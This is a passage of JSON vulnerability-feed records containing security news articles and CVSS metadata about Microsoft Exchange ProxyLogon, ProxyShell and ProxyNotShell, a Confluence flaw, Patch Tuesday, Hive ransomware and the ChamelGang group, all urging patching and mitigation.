[CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-2685](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) all share the same description\u2014"This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443."\n\nWhile the CVE description is the same for the 4 CVE\u2019s we have learned that CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange that was used to steal mailbox content. The RCE vulnerability CVE-2021-26857 was used to run code under the System account. The other two zero-day flaws\u2014CVE-2021-26858 and CVE-2021-27065\u2014would allow an attacker to write a file to any part of the server.\n\nTogether these four vulnerabilities form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, threat actors deployed web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nProxyLogon started out as a limited and targeted attack method attributed to a group called [Hafnium](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Unfortunately it went from limited and targeted attacks to a full-size panic in no time. Attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nMicrosoft has released a one-click mitigation tool for Exchange Server deployments. The Microsoft Exchange On-Premises Mitigation Tool will help customers who do not have dedicated security or IT teams to apply these security updates. Details, a [download link](<https://aka.ms/eomt>), user instructions, and more information can be found in the [Microsoft Security Response Center](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\n## 5\\. CVE-2021-26084\n\n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>) is an Object-Graph Navigation Language (OGNL) injection vulnerability that exists in some versions of [Confluence Server and Data Center](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) that can allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. This was a zero-day vulnerability that was only patched after it was found to be actively exploited in the wild. An attacker could exploit the vulnerability by simply sending a specially crafted HTTP request containing a malicious parameter to a vulnerable install.\n\nShortly after the vulnerability was disclosed and a patch came out, researchers noticed massive scanning activity for vulnerable instances and crypto-miners started to use the vulnerability to run their code on unpatched servers.\n\nOn the [Confluence Support website](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) you can find a list of affected versions, instructions to upgrade, and a workaround for those that are unable to upgrade.\n\n## Lessons learned\n\nWhat does this list tell us to look out for in 2022?\n\nWell, first off, if you haven\u2019t patched one of the above we would urgently advise you to do so. And it wouldn\u2019t hurt to continue working down the [list](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) provided by CISA.\n\nSecond, you may have noticed a pattern in what made these vulnerabilities so popular to exploit:\n\n * **A large attack surface**. Popular and widely used software makes for a larger number of potential victims. The money is in the numbers.\n * **Internet-facing instances**. Remember, your Internet-connected software shares the Internet with every basement-dwelling criminal hacker in the world.\n * **Easy exploitability**. When vulnerabilities are easy to exploit, and PoCs are publicly available and easy to deploy, the number of potential threat actors goes up.\n\nSo, if you notice or hear about a vulnerability that meets these "requirements" move it to the top of your "to-patch" list.\n\nStay safe, everyone!\n\nThe post [The top 5 most routinely exploited vulnerabilities of 2021](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-29T16:28:20", "type": "malwarebytes", "title": "The top 5 most routinely exploited vulnerabilities of 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-2685", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2021-45046"], "modified": "2022-04-29T16:28:20", "id": "MALWAREBYTES:B8C767042833344389F6158273089954", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-20T08:33:57", "description": "The list of July 2021 Patch Tuesday updates looks endless. 117 patches with no less than 42 CVEs assigned to them that have FAQs, mitigations details or workarounds listed for them. Looking at the urgency levels Microsoft has assigned to them, system administrators have their work cut out for them once again:\n\n * 13 criticial patches\n * 103 important patches\n\nYou can find the list of CVEs that have FAQs, mitigations, or workarounds on the Microsoft [July release notes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) page.\n\nSix vulnerabilities were previously disclosed and four are being exploited in-the-wild, according to Microsoft. One of those CVE\u2019s is a familiar one, [2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) aka the anyone-can-run-code-as-domain-admin RCE known as [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>). Microsoft issued out-of-band patches for that vulnerability a week ago, but those were [not as comprehensive](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) as one might have hoped. \n\nSince then, the Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. These directive list required actions for all Federal Civilian Executive Branch agencies.\n\n### Priorities\n\nBesides the ongoing PrintNightmare, er, nightmare, there are some others that deserve your undivided attention. Vulnerabilities being exploited in the wild, besides PrintNightmare, are:\n\n * [CVE-2021-34448](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34448>) Scripting Engine Memory Corruption Vulnerability for Windows Server 2012 R2 and Windows 10.\n * [CVE-2021-33771](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33771>) Windows Kernel Elevation of Privilege Vulnerability for Windows Server 2012, Server 2016, Windows 8.1, and Windows 10.\n * [CVE-2021-31979](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31979>) Windows Kernel Elevation of Privilege Vulnerability for Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows Server 2016, and Windows Server 2019.\n\nOther vulnerabilities that are not seen exploited in the wild yet, but are likely candidates to make that list soon:\n\n * [CVE-2021-34458](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34458>) Windows Kernel Remote Code Execution Vulnerability for some Windows Server versions, if the system is hosting virtual machines, or the Server includes hardware with SR-IOV devices.\n * [CVE-2021-34494](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34494>) Windows DNS Server Remote Code Execution Vulnerability for Windows Server versions if the server is configured to be a DNS server.\n\n### Exchange Server\n\nAnother ongoing effort to patch vulnerable systems has to do with Microsoft Exchange Server. Flaws that were actually already [patched in April](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) have now been assigned new CVE numbers [CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) (Microsoft Exchange Server Remote Code Execution Vulnerability) and [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>) (Microsoft Exchange Server Elevation of Privilege Vulnerability). As you may remember this combo of elevation of privilege (EOP) and remote code execution (RCE) caused quite the [panic](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>) when attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nIf you applied the patches in April, you are already protected. If you didn\u2019t, move them to the top of your to-do-list.\n\n### Windows Media Foundation\n\nTwo other critical vulnerabilities, and one considered important, were found in Microsoft Windows Media Foundation. Microsoft Media Foundation enables the development of applications and components for using digital media on Windows Vista and later. If you do have this multimedia platform installed on your system you are advised to apply the patches, but note that many of them include the [Flash](<https://blog.malwarebytes.com/awareness/2021/01/adobe-flash-player-reaches-end-of-life/>) Removal Package. So do the patches for [CVE-2021-34497](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34497>) a critical Windows MSHTML Platform RCE vulnerability.\n\nStay safe, everyone!\n\nThe post [Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-14T11:56:06", "type": "malwarebytes", "title": "Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34473", "CVE-2021-34494", "CVE-2021-34497", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-14T11:56:06", "id": "MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency is warning of active exploitation attempts that leverage the latest line of \"**ProxyShell**\" Microsoft Exchange vulnerabilities that were patched earlier this May, including deploying LockFile ransomware on compromised systems.\n\nTracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207, the vulnerabilities enable adversaries to bypass ACL controls, elevate privileges on the Exchange PowerShell backend, effectively permitting the attacker to perform unauthenticated, remote code execution. While the former two were addressed by Microsoft on April 13, a patch for CVE-2021-31207 was shipped as part of the Windows maker's May Patch Tuesday updates.\n\n\"An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>).\n\nThe development comes a little over a week after cybersecurity researchers sounded the alarm on [opportunistic scanning and exploitation](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) of unpatched Exchange servers by taking advantage of the ProxyShell attack chain.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf>) \n--- \nImage Source: [Huntress Labs](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) \n \nOriginally demonstrated at the [Pwn2Own hacking contest](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) in April this year, ProxyShell is part of a broader trio of exploit chains discovered by DEVCORE security researcher Orange Tsai that includes ProxyLogon and ProxyOracle, the latter of which concerns two remote code execution flaws that could be employed to recover a user's password in plaintext format.\n\n\"They're backdooring boxes with webshells that drop other webshells and also executables that periodically call out,\" researcher Kevin Beaumont [noted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) last week.\n\nNow according to researchers from Huntress Labs, at least [five distinct styles of web shells](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) have been observed as deployed to vulnerable Microsoft Exchange servers, with over over 100 incidents reported related to the exploit between August 17 and 18. Web shells grant the attackers remote access to the compromised servers, but it isn't clear exactly what the goals are or the extent to which all the flaws were used.\n\nMore than 140 web shells have been detected across no fewer than 1,900 unpatched Exchanger servers to date, Huntress Labs CEO Kyle Hanslovan [tweeted](<https://twitter.com/KyleHanslovan/status/1428804893423382532>), adding \"impacted [organizations] thus far include building manufacturing, seafood processors, industrial machinery, auto repair shops, a small residential airport and more.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-22T09:51:00", "type": "thn", "title": "WARNING: Microsoft Exchange Under Attack With ProxyShell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:28:25", "id": "THN:5BE77895D84D1FB816C73BB1661CE8EB", "href": "https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:27", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e100/hive-ransomware.jpg>)\n\nA recent Hive ransomware attack carried out by an affiliate involved the exploitation of \"ProxyShell\" vulnerabilities in the Microsoft Exchange Server that were disclosed last year to encrypt an unnamed customer's network.\n\n\"The actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise,\" Varonis security researcher, Nadav Ovadia, [said](<https://www.varonis.com/blog/hive-ransomware-analysis>) in a post-mortem analysis of the incident. \n\nHive, which was [first observed](<https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html>) in June 2021, follows the lucrative ransomware-as-a-service (RaaS) scheme adopted by other cybercriminal groups in recent years, enabling affiliates to deploy the file-encrypting malware after gaining a foothold into their victims' networks.\n\n[ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) \u2014 tracked as CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473 \u2014 involves a combination of security feature bypass, privilege escalation, and remote code execution in the Microsoft Exchange Server, effectively granting the attacker the ability to execute arbitrary code on affected servers.\n\nThe issues were addressed by Microsoft as part of its Patch Tuesday updates for April and May 2021.\n\nIn this case, successful exploitation of the flaws allowed the adversary to deploy web shells on the compromised server, using them to run malicious PowerShell code with SYSTEM privileges to create a new backdoor administrator user, hijack the domain admin account, and perform lateral movement.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e100/hive.jpg>)\n\nThe web shells used in the attack are said to have been sourced from a [public git repository](<https://github.com/ThePacketBender/webshells>) and given filenames containing a random mix of characters to evade detection, Ovadia said. Also executed was an additional obfuscated PowerShell script that's part of the Cobalt Strike framework.\n\nFrom there, the threat actor moved to scan the network for valuable files, before proceeding to deploy the Golang ransomware executable (named \"Windows.exe\") to complete the encryption process and display the ransom note to the victim.\n\nOther operations carried out by the malware include deleting shadow copies, turning off security products, and clearing Windows event logs to avoid detection, prevent recovery, and ensure that the encryption happens without any hiccup.\n\nIf anything, the findings are yet another indicator that patching for known vulnerabilities is key to thwarting cyberattacks and other nefarious activities.\n\n\"Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits,\" Ovadia said. \"It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-21T10:00:00", "type": "thn", "title": "New Incident Report Reveals How Hive Ransomware Targets Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-21T10:00:58", "id": "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "href": "https://thehackernews.com/2022/04/new-incident-report-reveals-how-hive.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso>)\n\nA previously undocumented threat actor has been identified as behind a string of attacks targeting fuel, energy, and aviation production industries in Russia, the U.S., India, Nepal, Taiwan, and Japan with the goal of stealing data from compromised networks.\n\nCybersecurity company Positive Technologies dubbed the advanced persistent threat (APT) group ChamelGang \u2014 referring to their chameleellonic capabilities, including disguising \"its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.\" \n\n\"To achieve their goal, the attackers used a trending penetration method\u2014supply chain,\" the researchers [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-uncovers-new-apt-group-attacking-russia-s-fuel-and-energy-complex-and-aviation-production-industry/>) of one of the incidents investigated by the firm. \"The group compromised a subsidiary and penetrated the target company's network through it. Trusted relationship attacks are rare today due to the complexity of their execution. Using this method [\u2026], the ChamelGang group was able to achieve its goal and steal data from the compromised network.\"\n\nIntrusions mounted by the adversary are believed to have commenced at the end of March 2021, with later attacks in August leveraging what's called the [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) chain of vulnerabilities affecting Microsoft Exchange Servers, the technical details of which were first revealed at the Black Hat USA 2021 security conference earlier that month.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc>)\n\nThe attack in March is also notable for the fact that the operators breached a subsidiary organization to gain access to an unnamed energy company's network by exploiting a flaw in Red Hat JBoss Enterprise Application ([CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>)) to remotely execute commands on the host and deploy malicious payloads that enable the actor to launch the malware with elevated privileges, laterally pivot across the network, and perform reconnaissance, before deploying a backdoor called DoorMe.\n\n\"The infected hosts were controlled by the attackers using the public utility FRP (fast reverse proxy), written in Golang,\" the researchers said. \"This utility allows connecting to a reverse proxy server. The attackers' requests were routed using the socks5 plugin through the server address obtained from the configuration data.\"\n\nOn the other hand, the August attack against a Russian company in the aviation production sector involved the exploitation of ProxyShell flaws (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to drop additional web shells and conduct remote reconnaissance on the compromised node, ultimately leading to the installation of a modified version of the DoorMe implant that comes with expanded capabilities to run arbitrary commands and carry out file operations.\n\n\"Targeting the fuel and energy complex and aviation industry in Russia isn't unique \u2014 this sector is one of the three most frequently attacked,\" Positive Technologies' Head of Threat Analysis, Denis Kuvshinov, said. \"However, the consequences are serious: Most often such attacks lead to financial or data loss\u2014in 84% of all cases last year, the attacks were specifically created to steal data, and that causes major financial and reputational damage.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-04T12:48:00", "type": "thn", "title": "A New APT Hacking Group Targeting Fuel, Energy, and Aviation Industries", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-04T12:48:16", "id": "THN:E95B6A75073DA71CEC73B2E4F0B13622", "href": "https://thehackernews.com/2021/10/a-new-apt-hacking-group-targeting-fuel.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-04T12:04:40", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e100/proxynotshell.jpg>)\n\nNicknamed ProxyNotShell, a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery (SSRF) vulnerability CVE-2022-41040 and a second vulnerability, CVE-2022-41082 that allows Remote Code Execution (RCE) when PowerShell is available to unidentified attackers.\n\nBased on ProxyShell, this new zero-day abuse risk leverage a chained attack similar to the one used in the 2021 ProxyShell attack that exploited the combination of multiple vulnerabilities - CVE-2021-34523, CVE-2021-34473, and CVE-2021-31207 \u2013 to permit a remote actor to execute arbitrary code.\n\nDespite the potential severity of attacks using them, ProxyShell vulnerabilities are still on CISA's list of top 2021 routinely exploited vulnerabilities.\n\n## Meet ProxyNotShell \n\nRecorded on September 19, 2022, CVE-2022-41082 is an attack vector targeting Microsoft's Exchange Servers, enabling attacks of low complexity with low privileges required. Impacted services, if vulnerable, enable an authenticated attacker to compromise the underlying exchange server by leveraging existing exchange PowerShell, which could result in a full compromise.\n\nWith the help of CVE-2022-41040, another Microsoft vulnerability also recorded on September 19, 2022, an attacker can remotely trigger CVE-2022-41082 to remotely execute commands.\n\nThough a user needs to have the privilege to access CVE-2022-41040, which should curtail the vulnerability accessibility to attackers, the required level of privilege is low.\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure.\n\nBoth vulnerabilities were uncovered during an active attack against GTSC, a Vietnamese organization called GTSC, granting attackers access to some of their clients. Though neither vulnerability on its own is particularly dangerous, exploits chaining them together could potentially lead to catastrophic breaches.\n\nThe chained vulnerabilities could grant an outsider attacker the ability to read emails directly off an organization's server the ability to breach the organization with CVE-2022-41040 Remote Code Execution and implant malware on the organization's Exchange Server with CVE-2022-41082.\n\nThough it appears that attackers would need some level of authentication to activate the chained vulnerabilities exploit, the exact level of authentication required \u2013 rated \"Low\" by Microsoft \u2013 is not yet clarified. Yet, this required low authentication level should effectively prevent a massive, automated attack targeting every Exchange server around the globe. This hopefully will prevent a replay of the 2021 ProxyShell debacle.\n\nYet, finding a single valid email address/password combination on a given Exchange server should not be overly difficult, and, as this attack bypasses MFA or FIDO token validation to log into Outlook Web Access, a single compromised email address/password combination is all that is needed.\n\n## Mitigating ProxyNotShell Exposure\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure of unknown efficacy.\n\nBlocking incoming traffic to Exchange Servers holding critical asserts is also an option, though only practicable if such a measure does not impact vital operations and should ideally be perceived as a temporary measure pending Microsoft's issuance of a verified patch.\n\n## Assessing ProxyNotShell Exposure\n\nAs the current mitigation options are either of unverified efficacy or potentially damaging to the smooth running of operations, evaluating the degree of exposure to ProxyNotShell might prevent taking potentially disruptive unnecessary preventative measures, or indicate which assets to preemptively migrate to unexposed servers.\n\nCymulate Research Lab has developed 